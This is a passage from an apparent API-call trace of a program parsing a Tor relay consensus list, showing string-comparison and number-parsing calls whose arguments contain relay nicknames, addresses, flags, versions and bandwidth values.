Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir V", _SubStr="\nr ") returned="\nr seele AAoQ1DAR6kkoo19hBAX5K0QztNw 2017-08-21 10:43:09 67.161.31.147 9001 0\nm qGwDnVG4XbQ3YFjfXdB8pNtdShMUzCAIH7Mfu4wCEfI\ns Fast Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=32\nr CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2017-08-21 05:05:15 162.247.72.201 443 80\nm I7ecRR0TjlV0+SRrbMIQM8TG8PTCuJerMsAklr+ZQp4\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3830\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2." [0119.861] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.861] memchr (_Buf=0x3940bc8, _Val=10, _MaxCount=0x128) returned 0x3940c21 [0119.861] strncmp (_Str1="m TEsaiSAzx", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.861] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.861] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.862] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.862] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.862] htonl (hostlong=0x8048b8c4) returned 0xc4b84880 [0119.862] htonl (hostlong=0xc4b84880) returned 0x8048b8c4 [0119.862] _errno () returned 0x9f07d8 [0119.862] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.862] _errno () returned 0x9f07d8 [0119.862] _errno () returned 0x9f07d8 [0119.862] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.862] _errno () returned 0x9f07d8 [0119.862] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.862] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.862] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.862] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.862] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.862] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.862] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.862] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.862] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.862] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.862] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.862] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.862] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.862] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.862] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.862] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.862] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.862] strlen (_Str="Tor ") returned 0x4 [0119.862] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.863] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.863] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.863] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.863] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.863] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.863] strlen (_Str="(git-") returned 0x5 [0119.863] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.863] strlen (_Str="Tor ") returned 0x4 [0119.863] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.863] strlen (_Str="(r") returned 0x2 [0119.863] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.863] strlen (_Str="(git-") returned 0x5 [0119.863] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.863] strtol (in: _Str="0.3.0.8", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.8") returned 0 [0119.863] strtol (in: _Str="3.0.8", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.8") returned 3 [0119.863] strtol (in: _Str="0.8", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8") returned 0 [0119.863] strtol (in: _Str="8", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 8 [0119.863] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.863] strlen (_Str="(git-") returned 0x5 [0119.863] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.863] strlen (_Str="Bandwidth=") returned 0xa [0119.863] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.863] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.863] strstr (_Str="r seele AAoQ1DAR6kkoo19hBAX5K0QztNw 2017-08-21 10:43:09 67.161.31.147 9001 0\nm qGwDnVG4XbQ3YFjfXdB8pNtdShMUzCAIH7Mfu4wCEfI\ns Fast Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=32\nr CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2017-08-21 05:05:15 162.247.72.201 443 80\nm I7ecRR0TjlV0+SRrbMIQM8TG8PTCuJerMsAklr+ZQp4\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3830\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm 